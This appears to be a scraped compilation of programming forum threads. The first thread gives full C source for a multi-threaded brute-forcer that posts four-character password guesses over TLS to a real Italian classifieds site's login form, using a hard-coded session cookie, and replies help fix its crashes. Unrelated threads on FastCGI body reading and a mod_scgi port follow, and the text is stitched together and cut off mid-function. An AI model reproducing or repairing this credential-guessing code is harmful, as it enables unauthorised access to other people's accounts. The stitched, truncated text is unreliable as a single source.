I have a problem with one of my multi-threaded client, this is the full code, it is basically a bruteforcer:
#include <unistd.h>
#include <sys/types.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#define N 10
#define EXT ".txt"
#define BUFFER_SIZE 1024000
//#define CA_DIR "/home/Scrivania/SRBF/mycert"
#define SIZE 67
char * letters[SIZE] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z",
"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
".","_","1","2","3","4","5","6","7","8","9","0","!","#","$"};
char * word4[] = {"A","A","A","A"};
int isMatch(char * buffer)
{
if(buffer == NULL)
{
return 0;
}
strtok(buffer, " ");
char * tok = strtok(NULL," ");
if(tok == NULL)
{
return 0;
}
if(strcmp(tok, "302") == 0)
{
return 1;
}
return 0;
}
void init_openssl()
{
SSLeay_add_ssl_algorithms();
SSL_load_error_strings();
SSL_library_init();
ERR_load_BIO_strings();
OpenSSL_add_all_algorithms();
}
BIO * connect_encrypted(char * host_and_port, SSL_CTX** ctx, SSL ** ssl)
{
BIO * bio = NULL;
*ctx = SSL_CTX_new(TLS_client_method());
*ssl = NULL;
/* int r = 0;
r = SSL_CTX_load_verify_locations(*ctx, NULL , CA_DIR);
if(r == 0)
{
return NULL;
}*/
bio = BIO_new_ssl_connect(*ctx);
BIO_get_ssl(bio, ssl);
SSL_set_mode(*ssl, SSL_MODE_AUTO_RETRY);
BIO_set_conn_hostname(bio, host_and_port);
if(BIO_do_connect(bio)< 1)
{
fprintf(stderr,"Unable to connect BIO. %s", host_and_port);
return NULL;
}
return bio;
}
int write_to_stream(BIO* bio, char * buffer, ssize_t length)
{
ssize_t r = -1;
while(r <= 0)
{
r = BIO_write(bio, buffer, length);
}
return r;
}
ssize_t read_from_stream(BIO * bio, char * buffer, ssize_t length)
{
ssize_t r = -1;
while(r <= 0)
{
r = BIO_read(bio, buffer, length);
}
return r;
}
char * username;
char * usrp;
char * pwdp;
char * uri;
void SendRequest(char * word)
{
char * host_and_port = "site.com:443";
char * server_request = malloc(sizeof(char)*BUFFER_SIZE);
char * buffer = malloc(sizeof(char)*BUFFER_SIZE);
int r = 0;
int r2 = 0;
sprintf(server_request, "POST %s HTTP/1.1\r\n"
"Host: www.annunci69.it\r\n"
"Cookie:__cfduid=d559ac43d2cc4e294b93e14699ab4f0071544273037; PHPSESSID=qjjrvg2j6nq2babbn1am3itac5; A69_regione=Sicilia; Doublech=1956935; A69_becomeavip=1; A69_onlinetimes=2; A69_tipsMASTER=1; A69_tips[listabannati]=listabannati; getgeo=1\r\n"
"User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 44\r\n"
"Connection: close\r\n"
"\r\n"
"%s=%s&%s=%s&login=Entra", uri, usrp, username, pwdp, word);
BIO * bio;
SSL_CTX * ctx = NULL;
SSL * ssl = NULL;
if ((bio = connect_encrypted(host_and_port, &ctx, &ssl)) == NULL)
{
fprintf(stderr, "Error in connect\n");
exit(EXIT_FAILURE);
}
while(r <= 0)
{
r = write_to_stream(bio, server_request, strlen(server_request));
}
while(r2 <= 0)
{
r2 = read_from_stream(bio, buffer, BUFFER_SIZE);
}
SSL_CTX_free(ctx);
free(server_request);
if(isMatch(buffer) == 1)
{
printf("Password -> %s", word);
exit(EXIT_SUCCESS);
}
free(buffer);
}
_Bool passaggio1(char * word[], int n)
{
for(int i = 0; i < SIZE; i++)
{
for(int j = 0, c = 0; j < n; j++)
{
if(word[j] == letters[i])
{
c++;
if(c > 3)
{
return 1;
}
}
}
}
return 0;
}
char *lastword[12];
_Bool passaggio2(char *word[], int n)
{
int count = 0;
for(int i = 0; i <= n; i++)
{
if(lastword[i] == word[i])
{
count++;
}
}
if(count > n-2)
{
return 1;
}
return 0;
}
int Write(char * word[], char * buffer, int n)
{
if(passaggio1(word, n) == 1 || passaggio2(word, n) == 1)
{
return 1;
}
for(int i = 0; i <= n; i++)
{
if(i == 0)
{
strcpy(buffer,word[i]);
}
strcat(buffer, word[i]);
lastword[i] = word[i];
}
return 0;
}
void four_Digits(char * word[], char * letters[])
{
for(int i = 0; i < SIZE; i++)
{
word[0] = letters[i];
for(int j = 0; j < SIZE ;j++)
{
word[1] = letters[j];
for(int k = 0; k < SIZE; k++)
{
word[2] = letters[k];
for(int l = 0; l < SIZE;l++)
{
word[3] = letters[l];
char * buffer = malloc(sizeof(char)*64);
if((Write(word, buffer, 3)) == 0)
{
printf("Trying: %s\n", buffer);
SendRequest(buffer);
}
free(buffer);
}
}
}
}
}
void * handler1(void * args)
{
four_Digits(word4, letters);
pthread_exit(0);
}
int main(int argc, char * argv[])
{/*
if(argc < 2)
{
fprintf(stderr ,"\nUsage: srbf username \n");
exit(EXIT_FAILURE);
}*/
username = "username"; //argv[1];
uri = malloc(sizeof(char)*32);
usrp = malloc(sizeof(char)*16);
pwdp = malloc(sizeof(char)*16);
printf("Insert URI\n");
scanf("%s", uri);
printf("Insert username parameter\n");
scanf("%s", usrp);
printf("Insert password parameter\n");
scanf("%s", pwdp);
int res;
pthread_t tid;
init_openssl();
res = pthread_create(&tid,NULL, handler1,0);
if(res != 0)
{
fprintf(stderr,"Thread Creation Failed\n");
exit(EXIT_FAILURE);
}
res = pthread_join(tid, 0);
if(res != 0)
{
fprintf(stderr, "Thread join failed\n");
exit(EXIT_FAILURE);
}
free(uri);
free(usrp);
free(pwdp);
exit(EXIT_SUCCESS);
}
when i do gdb main the program keeps running normally for some seconds, then i get segmentation fault with this error:
Thread 10 "main" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffedffb700 (LWP 13328)]
0x00007ffff71628e0 in __GI__IO_fwrite (buf=0x5555555585ff, size=1, count=17,
fp=0x55555555834e) at iofwrite.c:37
37 iofwrite.c: File or directory not existing.
Then i type the command bt and this is what i get:
#0 0x00007ffff71628e0 in __GI__IO_fwrite (buf=0x5555555585ff, size=1,
count=17, fp=0x55555555834e) at iofwrite.c:37
#1 0x0000555555556127 in SendRequest ()
#2 0x00005555555569cd in twelve_Digits ()
#3 0x0000555555557d43 in handler9 ()
#4 0x00007ffff74db6db in start_thread (arg=0x7fffedffb700)
at pthread_create.c:463
#5 0x00007ffff720488f in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
I posted the full code cause i'm really confused and i can't understand this error, can someone pls help me? Is it related to OpenSSL? What do i need to change? I will provide more informations if necessary.
You have lots of undefined behaviour.
Just an example:
Your function seven_Digits accesses 7 elements of the array passed as first parameter.
But you pass only an array with 4 strings:
char * word4[] = {"A","A","A","A"};
...
seven_Digits(word4, letters);
This is an out of bounds access causing undefined bahaviour.
Similar behaviour for other handlers calling other functions with same array.
if you use openssl with multithread you must deal with criticialsections.
declare some global variables
int number_of_locks = 0;
ssl_lock *ssl_locks = nullptr;
get the number of locks with CRYPTO_num_locks()
number_of_locks = CRYPTO_num_locks();
if(number_of_locks > 0)
{
ssl_locks = (ssl_lock*)malloc(number_of_locks * sizeof(ssl_lock));
for(int n = 0; n < number_of_locks; ++n)
InitializeCriticalSection(&ssl_locks[n]);
}
initialize callbacks functions names
CRYPTO_set_locking_callback(&ssl_lock_callback);
CRYPTO_set_dynlock_create_callback(&ssl_lock_dyn_create_callback);
CRYPTO_set_dynlock_lock_callback(&ssl_lock_dyn_callback);
CRYPTO_set_dynlock_destroy_callback(&ssl_lock_dyn_destroy_callback);
implement them
void ssl_lock_callback(int mode, int n, const char *file, int line)
{
if(mode & CRYPTO_LOCK)
EnterCriticalSection(&ssl_locks[n]);
else
LeaveCriticalSection(&ssl_locks[n]);
}
CRYPTO_dynlock_value* ssl_lock_dyn_create_callback(const char *file, int line)
{
CRYPTO_dynlock_value *l = (CRYPTO_dynlock_value*)malloc(sizeof(CRYPTO_dynlock_value));
InitializeCriticalSection(&l->lock);
return l;
}
void ssl_lock_dyn_callback(int mode, CRYPTO_dynlock_value* l, const char *file, int line)
{
if(mode & CRYPTO_LOCK)
EnterCriticalSection(&l->lock);
else
LeaveCriticalSection(&l->lock);
}
void ssl_lock_dyn_destroy_callback(CRYPTO_dynlock_value* l, const char *file, int line)
{
DeleteCriticalSection(&l->lock);
free(l);
}
I'm facing some issues trying to get my body content in my monkey server.
In fact, I don't really know how to access my data using fastcgi library functions.
I'm sending with Postman a PUT request on http://my.server.address:myport/cgi/something
with the following JSON content:
{ "hello" : "bonjour" }
On the server side
running on the main thread :
int32_t SWEB_traiter_requette_f(int32_t i32_socket_listen) {
FCGX_Request st_request;
(void)FCGX_InitRequest(&st_request, i32_socket_listen, 0);
if (FCGX_Accept_r(&st_request) == 0) {
ULOG_log_f(ULOG_PRIO_INFO, "accepting request");
(void)pthread_mutex_lock(gpu_mutex_s_web);
traiter_requette_s_web_f(&st_request,FCGX_GetParam("REQUEST_URI", st_request.envp));
(void)pthread_mutex_unlock(gpu_mutex_s_web);
(void)FCGX_Finish_r(&st_request);
}
FCGX_Free(&st_request,i32_socket_listen);
return 0;
}
And this is how I handle the request :
static void traiter_requette_s_web_f(FCGX_Request *pst_request,const char * pc_url) {
size_t z_len;
char_t *pc_data;
int i = 0;
int ch;
char_t *sz_content_len = FCGX_GetParam("CONTENT_LENGTH" , pst_request->envp);
char_t *sz_method = FCGX_GetParam("REQUEST_METHOD" , pst_request->envp);
char_t *sz_contenttype = FCGX_GetParam("CONTENT_TYPE" , pst_request->envp);
if (sz_contenttype != NULL){
/* first method ..... not working */
ch = FCGX_GetChar(pst_request->in);
while(ch != -1){
i++;
z_len = strtol(sz_content_len, NULL, 10);
pc_data = calloc(1,z_len+1);
if (pc_data == NULL){
//LCOV_EXCL_START
ULOG_log_f(ULOG_PRIO_ERREUR, "Erreur d'allocation de psz_data");
return;
//LCOV_EXCL_STOP
}
pc_data[i-1] = (char_t) ch;
ch = FCGX_GetChar(pst_request->in);
if (ch == -1 )
{
pc_data=(char*)realloc(pc_data,(i + 1)*sizeof(char));
pc_data[i] = '\0';
}
}
printf("data !! : %s\n",pc_data);
/* second method .... not working */
z_len = strtol(sz_content_len, NULL, 10);
pc_data = calloc(1,z_len+1);
if (pc_data == NULL){
//LCOV_EXCL_START
ULOG_log_f(ULOG_PRIO_ERREUR, "Erreur d'allocation de psz_data");
return;
//LCOV_EXCL_STOP
}
(void)FCGX_GetStr(pc_data,z_len,pst_request->in);
printf("data !! : %s\n",pc_data);
}
}
Maybe I'm doing something wrong with pc_data and this is not how to access the body.
How can I access the body of my request?
It seems that my code was leaking.
This is how you get the body content on a POST request :
static void traiter_requette_s_web_f(FCGX_Request *pst_request,const char * pc_url) {
size_t z_len;
int i = 0;
int ch;
char_t *sz_content_len = FCGX_GetParam("CONTENT_LENGTH" , pst_request->envp);
char_t *sz_method = FCGX_GetParam("REQUEST_METHOD" , pst_request->envp);
char_t *sz_contenttype = FCGX_GetParam("CONTENT_TYPE" , pst_request->envp);
char_t *pc_data = FCGX_GetParam("REQUEST_URI", pst_request->envp);
if (sz_contenttype != NULL)
{
z_len = strtol(sz_content_len, NULL, 10);
pc_data = calloc(1,z_len+1);
if (pc_data == NULL){
return;
}
ch = FCGX_GetChar(pst_request->in);
while(ch != -1){
i++;
pc_data[i-1] = (char_t) ch;
ch = FCGX_GetChar(pst_request->in);
if (ch == -1 )
{
pc_data=(char*)realloc(pc_data,(i + 1)*sizeof(char));
pc_data[i] = '\0';
}
}
printf("data !! : %s\n",pc_data);
}
}
According to https://fossies.org/dox/FCGI-0.78/ you can read body content on a POST request
#define DATA_READ_CHUNK 81912
void read_payload(size_t content_length, std::string&str) {
size_t read_length = 0;
size_t len = 0;
//DATA_READ_CHUNK should be 8192 according to FCGX_Accept_r(FCGX_Request *reqDataPtr) line 2154 file fcgiapp.c
while (true) {
char* buff;
if (content_length > DATA_READ_CHUNK) {
buff = (char*)malloc(DATA_READ_CHUNK + 1);
len = DATA_READ_CHUNK;
}
else {
buff = (char*)malloc(content_length + 1);
len = content_length;
}
buff[len] = '\0';
std::cin.read(buff, len);
str.append(buff, len);
free(buff);
content_length -= len;
if (content_length <= 0)break;
}
fclose(stdin);
}
I am trying to get a simple django app up on Http Server. The server is IBM Websphere Application Server. I have successfully compiled mod_scgi.c to the iseries.
I proceeded to create a server and edit the configuration file with the following code:
#Load the mod_scgi module
LoadModule scgi_module /qsys.lib/qgpl.lib/mod_scgi.srvpgm
# Set up location to be server by an SCGI server process
SCGIMount /dynamic 127.0.0.1:8080
This produces an error on the configuration file: "Directive name "SCGIMount" is not recognized."
I am not sure how to proceed from here. Also, the mod_scgi.c file has been modified to allow it to be compiled to the iseries. I have provided the code below:
/* mod_scgi.c
*
* Apache 2 implementation of the SCGI protocol.
*
*/
#define MOD_SCGI_VERSION "1.14"
#define SCGI_PROTOCOL_VERSION "1"
#include "ap_config.h"
#include "apr_version.h"
#include "apr_lib.h"
#include "apr_strings.h"
#include "httpd.h"
#include "http_config.h"
#include "http_core.h"
#include "http_request.h"
#include "http_log.h"
#include "http_protocol.h"
#include "util_script.h"
#ifdef AS400
#include <strings.h>
#endif
#define DEFAULT_TIMEOUT 60 /* default socket timeout */
#define UNSET 0
#define ENABLED 1
#define DISABLED 2
#if APR_MAJOR_VERSION == 0
#define apr_socket_send apr_send
#define GET_PORT(port, addr) apr_sockaddr_port_get(&(port), addr)
#define CREATE_SOCKET(sock, family, pool) \
apr_socket_create(sock, family, SOCK_STREAM, pool)
#else
#define GET_PORT(port, addr) ((port) = (addr)->port)
#define CREATE_SOCKET(sock, family, pool) \
apr_socket_create(sock, family, SOCK_STREAM, APR_PROTO_TCP, pool)
#endif
typedef struct {
char *path;
char *addr;
apr_port_t port;
} mount_entry;
/*
* Configuration record. Used per-directory configuration data.
*/
typedef struct {
mount_entry mount;
int enabled; /* mod_scgi is enabled from this directory */
int timeout;
} scgi_cfg;
/* Server level configuration */
typedef struct {
apr_array_header_t *mounts;
int timeout;
} scgi_server_cfg;
/*
* Declare ourselves so the configuration routines can find and know us.
* We'll fill it in at the end of the module.
*/
module AP_MODULE_DECLARE_DATA scgi_module;
/*
* Locate our directory configuration record for the current request.
*/
static scgi_cfg *
our_dconfig(request_rec *r)
{
return (scgi_cfg *) ap_get_module_config(r->per_dir_config, &scgi_module);
}
static scgi_server_cfg *our_sconfig(server_rec *s)
{
return (scgi_server_cfg *) ap_get_module_config(s->module_config,
&scgi_module);
}
static int
mount_entry_matches(const char *url, const char *prefix,
const char **path_info)
{
int i;
for (i=0; prefix[i] != '\0'; i++) {
if (url[i] == '\0' || url[i] != prefix[i])
return 0;
}
if (url[i] == '\0' || url[i] == '/') {
*path_info = url + i;
return 1;
}
return 0;
}
static int scgi_translate(request_rec *r)
{
scgi_cfg *cfg = our_dconfig(r);
if (cfg->enabled == DISABLED) {
return DECLINED;
}
if (cfg->mount.addr != UNSET) {
ap_assert(cfg->mount.port != UNSET);
r->handler = "scgi-handler";
r->filename = r->uri;
return OK;
}
else {
int i;
scgi_server_cfg *scfg = our_sconfig(r->server);
mount_entry *entries = (mount_entry *) scfg->mounts->elts;
for (i = 0; i < scfg->mounts->nelts; ++i) {
const char *path_info;
mount_entry *mount = &entries[i];
if (mount_entry_matches(r->uri, mount->path, &path_info)) {
r->handler = "scgi-handler";
r->path_info = apr_pstrdup(r->pool, path_info);
r->filename = r->uri;
ap_set_module_config(r->request_config, &scgi_module, mount);
return OK;
}
}
}
return DECLINED;
}
static int scgi_map_location(request_rec *r)
{
if (r->handler && strcmp(r->handler, "scgi-handler") == 0) {
return OK; /* We don't want directory walk. */
}
return DECLINED;
}
static void log_err(const char *file, int line, request_rec *r,
apr_status_t status, const char *msg)
{
ap_log_rerror(file, line, APLOG_ERR, status, r, "scgi: %s", msg);
}
static void log_debug(const char *file, int line, request_rec *r, const
char *msg)
{
ap_log_rerror(file, line, APLOG_DEBUG, APR_SUCCESS, r, msg);
}
static char *http2env(apr_pool_t *p, const char *name)
{
char *env_name = apr_pstrcat(p, "HTTP_", name, NULL);
char *cp;
for (cp = env_name + 5; *cp != 0; cp++) {
if (*cp == '-') {
*cp = '_';
}
else {
*cp = apr_toupper(*cp);
}
}
return env_name;
}
static char *lookup_name(apr_table_t *t, const char *name)
{
const apr_array_header_t *hdrs_arr = apr_table_elts(t);
apr_table_entry_t *hdrs = (apr_table_entry_t *) hdrs_arr->elts;
int i;
for (i = 0; i < hdrs_arr->nelts; ++i) {
if (hdrs[i].key == NULL)
continue;
if (strcasecmp(hdrs[i].key, name) == 0)
return hdrs[i].val;
}
return NULL;
}
static char *lookup_header(request_rec *r, const char *name)
{
return lookup_name(r->headers_in, name);
}
static void add_header(apr_table_t *t, const char *name, const char *value)
{
if (name != NULL && value != NULL)
apr_table_addn(t, name, value);
}
static int find_path_info(const char *uri, const char *path_info)
{
int n;
n = strlen(uri) - strlen(path_info);
ap_assert(n >= 0);
return n;
}
/* This code is a duplicate of what's in util_script.c. We can't use
* r->unparsed_uri because it gets changed if there was a redirect. */
static char *original_uri(request_rec *r)
{
char *first, *last;
if (r->the_request == NULL) {
return (char *) apr_pcalloc(r->pool, 1);
}
first = r->the_request; /* use the request-line */
while (*first && !apr_isspace(*first)) {
++first; /* skip over the method */
}
while (apr_isspace(*first)) {
++first; /* and the space(s) */
}
last = first;
while (*last && !apr_isspace(*last)) {
++last; /* end at next whitespace */
}
return apr_pstrmemdup(r->pool, first, last - first);
}
/* buffered socket implementation (buckets are overkill) */
#define BUFFER_SIZE 8000
struct sockbuff {
apr_socket_t *sock;
char buf[BUFFER_SIZE];
int used;
};
static void binit(struct sockbuff *s, apr_socket_t *sock)
{
s->sock = sock;
s->used = 0;
}
static apr_status_t sendall(apr_socket_t *sock, char *buf, apr_size_t len)
{
apr_status_t rv;
apr_size_t n;
while (len > 0) {
n = len;
if ((rv = apr_socket_send(sock, buf, &n))) return rv;
buf += n;
len -= n;
}
return APR_SUCCESS;
}
static apr_status_t bflush(struct sockbuff *s)
{
apr_status_t rv;
ap_assert(s->used >= 0 && s->used <= BUFFER_SIZE);
if (s->used) {
if ((rv = sendall(s->sock, s->buf, s->used))) return rv;
s->used = 0;
}
return APR_SUCCESS;
}
static apr_status_t bwrite(struct sockbuff *s, char *buf, apr_size_t len)
{
apr_status_t rv;
if (len >= BUFFER_SIZE - s->used) {
if ((rv = bflush(s))) return rv;
while (len >= BUFFER_SIZE) {
if ((rv = sendall(s->sock, buf, BUFFER_SIZE))) return rv;
buf += BUFFER_SIZE;
len -= BUFFER_SIZE;
}
}
if (len > 0) {
ap_assert(len < BUFFER_SIZE - s->used);
memcpy(s->buf + s->used, buf, len);
s->used += len;
}
return APR_SUCCESS;
}
static apr_status_t bputs(struct sockbuff *s, char *buf)
{
return bwrite(s, buf, strlen(buf));
}
static apr_status_t bputc(struct sockbuff *s, char c)
{
char buf[1];
buf[0] = c;
return bwrite(s, buf, 1);
}
static apr_status_t
send_headers(request_rec *r, struct sockbuff *s)
{
/* headers to send */
apr_table_t *t;
const apr_array_header_t *hdrs_arr, *env_arr;
apr_table_entry_t *hdrs, *env;
unsigned long int n = 0;
char *buf;
int i;
apr_status_t rv = 0;
apr_port_t port = 0;
GET_PORT(port, r->connection->remote_addr);
log_debug(APLOG_MARK,r, "sending headers");
t = apr_table_make(r->pool, 40);
if (!t)
return APR_ENOMEM;
/* CONTENT_LENGTH must come first and always be present */
buf = lookup_header(r, "Content-Length");
if (buf == NULL)
buf = "0";
add_header(t, "CONTENT_LENGTH", buf);
add_header(t, "SCGI", SCGI_PROTOCOL_VERSION);
add_header(t, "SERVER_SOFTWARE", ap_get_server_version());
add_header(t, "SERVER_PROTOCOL", r->protocol);
add_header(t, "SERVER_NAME", ap_get_server_name(r));
add_header(t, "SERVER_ADMIN", r->server->server_admin);
add_header(t, "SERVER_ADDR", r->connection->local_ip);
add_header(t, "SERVER_PORT", apr_psprintf(r->pool, "%u",
ap_get_server_port(r)));
add_header(t, "REMOTE_ADDR", r->connection->remote_ip);
add_header(t, "REMOTE_PORT", apr_psprintf(r->pool, "%d", port));
add_header(t, "REMOTE_USER", r->user);
add_header(t, "REQUEST_METHOD", r->method);
add_header(t, "REQUEST_URI", original_uri(r));
add_header(t, "QUERY_STRING", r->args ? r->args : "");
if (r->path_info) {
int path_info_start = find_path_info(r->uri, r->path_info);
add_header(t, "SCRIPT_NAME", apr_pstrndup(r->pool, r->uri,
path_info_start));
add_header(t, "PATH_INFO", r->path_info);
}
else {
/* skip PATH_INFO, don't know it */
add_header(t, "SCRIPT_NAME", r->uri);
}
add_header(t, "CONTENT_TYPE", lookup_header(r, "Content-type"));
add_header(t, "DOCUMENT_ROOT", ap_document_root(r));
/* HTTP headers */
hdrs_arr = apr_table_elts(r->headers_in);
hdrs = (apr_table_entry_t *) hdrs_arr->elts;
for (i = 0; i < hdrs_arr->nelts; ++i) {
if (hdrs[i].key) {
add_header(t, http2env(r->pool, hdrs[i].key), hdrs[i].val);
}
}
/* environment variables */
env_arr = apr_table_elts(r->subprocess_env);
env = (apr_table_entry_t*) env_arr->elts;
for (i = 0; i < env_arr->nelts; ++i) {
add_header(t, env[i].key, env[i].val);
}
hdrs_arr = apr_table_elts(t);
hdrs = (apr_table_entry_t*) hdrs_arr->elts;
/* calculate length of header data (including nulls) */
for (i = 0; i < hdrs_arr->nelts; ++i) {
n += strlen(hdrs[i].key) + 1;
n += strlen(hdrs[i].val) + 1;
}
buf = apr_psprintf(r->pool, "%lu:", n);
if (!buf)
return APR_ENOMEM;
rv = bputs(s, buf);
if (rv)
return rv;
for (i = 0; i < hdrs_arr->nelts; ++i) {
rv = bputs(s, hdrs[i].key);
if (rv) return rv;
rv = bputc(s, '\0');
if (rv) return rv;
rv = bputs(s, hdrs[i].val);
if (rv) return rv;
rv = bputc(s, '\0');
if (rv) return rv;
}
rv = bputc(s, ',');
if (rv)
return rv;
return APR_SUCCESS;
}
static apr_status_t send_request_body(request_rec *r, struct sockbuff *s)
{
if (ap_should_client_block(r)) {
char buf[BUFFER_SIZE];
apr_status_t rv;
apr_off_t len;
while ((len = ap_get_client_block(r, buf, sizeof buf)) > 0) {
if ((rv = bwrite(s, buf, len))) return rv;
}
if (len == -1)
return HTTP_INTERNAL_SERVER_ERROR; /* what to return? */
}
return APR_SUCCESS;
}
#define CONFIG_VALUE(value, fallback) ((value) != UNSET ? (value) : (fallback))
static apr_status_t
open_socket(apr_socket_t **sock, request_rec *r)
{
int timeout;
int retries = 4;
int sleeptime = 1;
apr_status_t rv;
apr_sockaddr_t *sockaddr;
scgi_server_cfg *scfg = our_sconfig(r->server);
scgi_cfg *cfg = our_dconfig(r);
mount_entry *m = (mount_entry *) ap_get_module_config(r->request_config,
&scgi_module);
if (!m) {
m = &cfg->mount;
}
timeout = CONFIG_VALUE(cfg->timeout, CONFIG_VALUE(scfg->timeout,
DEFAULT_TIMEOUT));
rv = apr_sockaddr_info_get(&sockaddr,
CONFIG_VALUE(m->addr, "localhost"),
APR_UNSPEC,
CONFIG_VALUE(m->port, 4000),
0,
r->pool);
if (rv) {
log_err(APLOG_MARK, r, rv, "apr_sockaddr_info_get() error");
return rv;
}
restart:
*sock = NULL;
rv = CREATE_SOCKET(sock, sockaddr->family, r->pool);
if (rv) {
log_err(APLOG_MARK, r, rv, "apr_socket_create() error");
return rv;
}
rv = apr_socket_timeout_set(*sock, apr_time_from_sec(timeout));
if (rv) {
log_err(APLOG_MARK, r, rv, "apr_socket_timeout_set() error");
return rv;
}
rv = apr_socket_connect(*sock, sockaddr);
if (rv) {
apr_socket_close(*sock);
if ((APR_STATUS_IS_ECONNREFUSED(rv) |
APR_STATUS_IS_EINPROGRESS(rv)) && retries > 0) {
/* server may be temporarily down, retry */
ap_log_rerror(APLOG_MARK, APLOG_NOERRNO|APLOG_DEBUG, rv, r,
"scgi: connection failed, retrying");
apr_sleep(apr_time_from_sec(sleeptime));
--retries;
sleeptime *= 2;
goto restart;
}
log_err(APLOG_MARK, r, rv, "scgi: can't connect to server");
return rv;
}
#ifdef APR_TCP_NODELAY
/* disable Nagle, we don't send small packets */
apr_socket_opt_set(*sock, APR_TCP_NODELAY, 1);
#endif
return APR_SUCCESS;
}
#ifdef AS400
static int getsfunc_BRIGADE(char *buf, int len, void *arg)
{
apr_bucket_brigade *bb = (apr_bucket_brigade *)arg;
const char *dst_end = buf + len - 1; /* leave room for terminating null */
char *dst = buf;
apr_bucket *e = APR_BRIGADE_FIRST(bb);
apr_status_t rv;
int done = 0;
while ((dst < dst_end) && !done && e != APR_BRIGADE_SENTINEL(bb)
&& !APR_BUCKET_IS_EOS(e)) {
const char *bucket_data;
apr_size_t bucket_data_len;
const char *src;
const char *src_end;
apr_bucket * next;
rv = apr_bucket_read(e, &bucket_data, &bucket_data_len,
APR_BLOCK_READ);
if (rv != APR_SUCCESS || (bucket_data_len == 0)) {
*dst = '\0';
return APR_STATUS_IS_TIMEUP(rv) ? -1 : 0;
}
src = bucket_data;
src_end = bucket_data + bucket_data_len;
while ((src < src_end) && (dst < dst_end) && !done) {
if (*src == '\n') {
done = 1;
}
else if (*src != '\r') {
*dst++ = *src;
}
src++;
}
if (src < src_end) {
apr_bucket_split(e, src - bucket_data);
}
next = APR_BUCKET_NEXT(e);
APR_BUCKET_REMOVE(e);
apr_bucket_destroy(e);
e = next;
}
*dst = 0;
return done;
}
#endif
static int scgi_handler(request_rec *r)
{
apr_status_t rv = 0;
int http_status = 0;
struct sockbuff s;
apr_socket_t *sock;
apr_bucket_brigade *bb = NULL;
apr_bucket *b = NULL;
const char *location;
if (strcmp(r->handler, "scgi-handler"))
return DECLINED;
http_status = ap_setup_client_block(r, REQUEST_CHUNKED_ERROR);
if (http_status != OK)
return http_status;
log_debug(APLOG_MARK, r, "connecting to server");
rv = open_socket(&sock, r);
if (rv) {
return HTTP_INTERNAL_SERVER_ERROR;
}
binit(&s, sock);
rv = send_headers(r, &s);
if (rv) {
log_err(APLOG_MARK, r, rv, "error sending request headers");
return HTTP_INTERNAL_SERVER_ERROR;
}
rv = send_request_body(r, &s);
if (rv) {
log_err(APLOG_MARK, r, rv, "error sending request body");
return HTTP_INTERNAL_SERVER_ERROR;
}
rv = bflush(&s);
if (rv) {
log_err(APLOG_MARK, r, rv, "error sending request");
return HTTP_INTERNAL_SERVER_ERROR;
}
log_debug(APLOG_MARK, r, "reading response headers");
bb = apr_brigade_create(r->connection->pool, r->connection->bucket_alloc);
b = apr_bucket_socket_create(sock, r->connection->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(bb, b);
b = apr_bucket_eos_create(r->connection->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(bb, b);
#ifdef AS400
rv = ap_scan_script_header_err_core(r, NULL, getsfunc_BRIGADE, bb);
#else
rv = ap_scan_script_header_err_brigade(r, bb, NULL);
#endif
if (rv) {
if (rv == HTTP_INTERNAL_SERVER_ERROR) {
log_err(APLOG_MARK, r, rv, "error reading response headers");
}
else {
/* Work around an Apache bug whereby the returned status is
* ignored and status_line is used instead. This bug is
* present at least in 2.0.54.
*/
r->status_line = NULL;
}
apr_brigade_destroy(bb);
return rv;
}
location = apr_table_get(r->headers_out, "Location");
if (location && location[0] == '/' &&
((r->status == HTTP_OK) || ap_is_HTTP_REDIRECT(r->status))) {
apr_brigade_destroy(bb);
/* Internal redirect -- fake-up a pseudo-request */
r->status = HTTP_OK;
/* This redirect needs to be a GET no matter what the original
* method was.
*/
r->method = apr_pstrdup(r->pool, "GET");
r->method_number = M_GET;
/* We already read the message body (if any), so don't allow
* the redirected request to think it has one. We can ignore
* Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR.
*/
apr_table_unset(r->headers_in, "Content-Length");
ap_internal_redirect_handler(location, r);
return OK;
}
rv = ap_pass_brigade(r->output_filters, bb);
if (rv) {
log_err(APLOG_MARK, r, rv, "ap_pass_brigade()");
return HTTP_INTERNAL_SERVER_ERROR;
}
return OK;
}
static int scgi_init(apr_pool_t *p, apr_pool_t *plog, apr_pool_t *ptemp,
server_rec *base_server)
{
ap_add_version_component(p, "mod_scgi/" MOD_SCGI_VERSION);
return OK;
}
static void *
create_dir_config(apr_pool_t *p, char *dirspec)
{
scgi_cfg *cfg = apr_pcalloc(p, sizeof(scgi_cfg));
cfg->enabled = UNSET;
cfg->mount.addr = UNSET;
cfg->mount.port = UNSET;
cfg->timeout = UNSET;
return cfg;
}
#define MERGE(b, n, a) (n->a == UNSET ? b->a : n->a)
static void *
merge_dir_config(apr_pool_t *p, void *basev, void *newv)
{
scgi_cfg* cfg = apr_pcalloc(p, sizeof(scgi_cfg));
scgi_cfg* base = basev;
scgi_cfg* new = newv;
cfg->enabled = MERGE(base, new, enabled);
cfg->mount.addr = MERGE(base, new, mount.addr);
cfg->mount.port = MERGE(base, new, mount.port);
cfg->timeout = MERGE(base, new, timeout);
return cfg;
}
static void *
create_server_config(apr_pool_t *p, server_rec *s)
{
scgi_server_cfg *c =
(scgi_server_cfg *) apr_pcalloc(p, sizeof(scgi_server_cfg));
c->mounts = apr_array_make(p, 20, sizeof(mount_entry));
c->timeout = UNSET;
return c;
}
static void *
merge_server_config(apr_pool_t *p, void *basev, void *overridesv)
{
scgi_server_cfg *c = (scgi_server_cfg *)
apr_pcalloc(p, sizeof(scgi_server_cfg));
scgi_server_cfg *base = (scgi_server_cfg *) basev;
scgi_server_cfg *overrides = (scgi_server_cfg *) overridesv;
c->mounts = apr_array_append(p, overrides->mounts, base->mounts);
c->timeout = MERGE(base, overrides, timeout);
